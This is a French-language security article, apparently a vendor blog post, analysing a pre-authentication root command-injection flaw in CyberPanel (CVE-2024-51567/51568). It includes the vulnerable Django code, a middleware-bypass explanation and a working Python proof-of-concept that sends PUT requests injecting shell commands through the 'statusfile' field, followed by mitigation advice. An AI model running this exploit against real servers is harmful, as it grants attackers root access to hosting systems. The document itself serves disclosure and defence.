Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

Vulnérabilité RCE root pré-authentification dans CyberPanel : analyse approfondie de l'exploit

Une analyse technique d'une vulnérabilité dans CyberPanel, une RCE root pré-authentification, incluant les chemins d'exploitation confirmés, les composants étudiés et les résultats de la méthodologie de recherche.

Introduction

Cet article propose une analyse approfondie de la découverte et de l'exploitation d'une vulnérabilité d'exécution de code à distance (RCE) dans CyberPanel, une application web basée sur Django utilisée pour gérer des services d'hébergement web tels que FTP, SSH et SMTP. Cette faille critique permet à des attaquants non authentifiés d'exécuter des commandes arbitraires en tant qu'utilisateur root, ce qui soulève des préoccupations de sécurité majeures, en particulier compte tenu de l'usage répandu de CyberPanel sur les serveurs VPS.

Nos recherches ont révélé que de nombreuses machines sont déjà compromises, comme le montre l'image ci-dessous présentant un ransomware sur des systèmes affectés.

image.png
Ransomware sur des systèmes exploités

Enfin, cet article s'inspire des recherches menées par DreyAnd, qui mettent en lumière les détails techniques et les mécanismes de contournement associés à cette vulnérabilité.


Mise à jour du 30 octobre 2024

Deux CVE ont été attribuées, accompagnées d'une annonce de sécurité des mainteneurs de CyberPanel. Un commit de correctif est disponible ici.

  • CVE-2024-51567 :

    • Affecte upgrademysqlstatus() dans databases/views.py.
    • Exploitée dans la nature par PSAUX en octobre 2024.
    • Le problème provient du contournement de secMiddleware (actif uniquement pour les requêtes POST) et de l'injection de métacaractères shell dans la propriété statusfile pour obtenir une exécution de commandes non authentifiée.
    • Affecte les versions jusqu'à 2.3.6 et la version 2.3.7 non corrigée.
  • CVE-2024-51568 :

    • Une vulnérabilité d'injection de commandes via le paramètre completePath dans le sink ProcessUtilities.outputExecutioner().
    • Conduit à une RCE non authentifiée via /filemanager/upload.
    • Exploitée via des métacaractères shell fournis à la route d'upload du gestionnaire de fichiers.
    • Les versions antérieures à 2.3.5 sont affectées.

Aperçu de la vulnérabilité

  • Composant vulnérable : route upgrademysqlstatus dans CyberPanel v2.3.6.
  • Impact : RCE non authentifiée avec privilèges root.
  • Type d'exploit : exécution de code à distance 0-click, pré-authentification.
  • Cause racine : vérifications d'authentification insuffisantes et usage non sécurisé des commandes subprocess.

Analyse du code

La route upgrademysqlstatus() dans la version vulnérable de CyberPanel fournit des informations essentielles sur la manière dont la surface d'attaque a été identifiée. Analysons cette route pour comprendre la faille sous-jacente.

Fonction vulnérable : upgrademysqlstatus()

def upgrademysqlstatus(request):
    try:
        data = json.loads(request.body)
        statusfile = data['statusfile']

        # Unsafe execution using user input
        installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")

        if "[200]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
            return HttpResponse(json.dumps(response))

        elif "[404]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
            return HttpResponse(json.dumps(response))

        else:
            response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
            return HttpResponse(json.dumps(response))

    except KeyError:
        return redirect(loadLoginPage)

Problèmes de la fonction upgrademysqlstatus :

  1. Absence de vérifications d'authentification :

    • La route upgrademysqlstatus est accessible sans aucune authentification. Normalement, les routes sensibles devraient vérifier l'identité de l'utilisateur via des jetons de session ou des vérifications de middleware.
  2. Injection de commandes :

    • L'entrée contrôlée par l'utilisateur (statusfile) est directement concaténée dans une commande subprocess (sudo cat {statusfile}).
    • La fonction exécute des commandes shell arbitraires avec des privilèges sudo, conduisant à une injection de commandes.
  3. Contournement du middleware :

    • L'application utilise secMiddleware pour assainir les requêtes POST. Cependant, ce middleware ne vérifie l'injection de commandes que lorsque la méthode de requête est POST.
    • Cela permet aux attaquants de contourner le middleware en utilisant des méthodes autres que POST (par exemple PUT ou OPTIONS) tout en fournissant des payloads malveillants via request.body.
class secMiddleware:
    HIGH = 0
    LOW = 1

    def get_client_ip(request):
        ip = request.META.get('HTTP_CF_CONNECTING_IP')
        if ip is None:
            ip = request.META.get('REMOTE_ADDR')
        return ip

    def __init__(self, get_response):
        self.get_response = get_response

    ...
    if request.method == 'POST':
        # Security checks are applied only here...
        try:
            data = json.loads(request.body)
            # ...but ignored for non-POST requests.
    ...

Exploitation et preuve de concept

Cette section montre comment exploiter la vulnérabilité en contournant le middleware et en injectant des commandes arbitraires.

Code de l'exploit

Le PoC ci-dessous montre comment exploiter la vulnérabilité en envoyant une requête PUT pour contourner le middleware et injecter une commande.

import httpx
import sys

def get_CSRF_token(client):
    """Retrieve the CSRF token required for requests."""
    resp = client.get("/")
    return resp.cookies['csrftoken']

def pwn(client, CSRF_token, cmd):
    """Send the malicious command to the vulnerable route."""
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url),
    }

    # Command injection via statusfile parameter
    payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)

    # Bypass middleware by using PUT instead of POST
    response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
    return response.json().get("requestStatus")

def exploit(target, cmd):
    """Main exploit logic."""
    client = httpx.Client(base_url=target, verify=False)
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    while True:
        cmd = input("$> ")
        exploit(target, cmd)

Utilisation

Exécuter l'exploit :

python exploit.py https://<target-ip>:8090

Injecter des commandes arbitraires :

$> id
uid=0(root) gid=0(root) groups=0(root)

Atténuation et recommandations

Pour éviter des vulnérabilités similaires à l'avenir, les mesures suivantes sont recommandées :

  1. Middleware d'authentification centralisé :

    • Mettre en œuvre les vérifications d'authentification de manière globale plutôt qu'au niveau de chaque route individuelle.
  2. Validation des entrées pour toutes les méthodes :

    • Appliquer la validation des entrées de manière cohérente sur toutes les méthodes HTTP.
  3. Éviter l'exécution directe de commandes :

    • Utiliser des bibliothèques comme subprocess.run() de Python avec une désinfection appropriée des entrées utilisateur.
  4. Principe du moindre privilège :

    • Éviter d'exécuter des services avec des privilèges root, sauf si cela est absolument nécessaire.
  5. Si vous avez un accès SSH :

    • Mettez à jour votre CyberPanel en suivant le guide de mise à jour. Aucune autre action n'est requise.
  6. Si vous n'avez pas d'accès SSH :

    • Dans certains cas, l'accès au port 22 peut être restreint par votre fournisseur, souvent en raison de surcharges de serveur ou de tentatives de piratage.
    • Dans ce cas, contactez votre fournisseur et demandez-lui d'activer le port 22. Une fois l'accès rétabli, mettez à jour le panneau en suivant les instructions fournies.

Conclusion

Cette RCE pré-authentification dans CyberPanel souligne l'importance d'une authentification complète, d'une validation des entrées cohérente et d'une gestion sécurisée des commandes subprocess. Les attaquants peuvent facilement exploiter des failles logiques subtiles, contourner les middlewares et escalader les privilèges jusqu'à root, démontrant l'impact dévastateur de pratiques de sécurité négligées. Tant que le correctif n'est pas pleinement intégré dans une version stable, les utilisateurs doivent appliquer immédiatement le correctif et restreindre l'accès aux points de terminaison vulnérables.

Tags :

RCE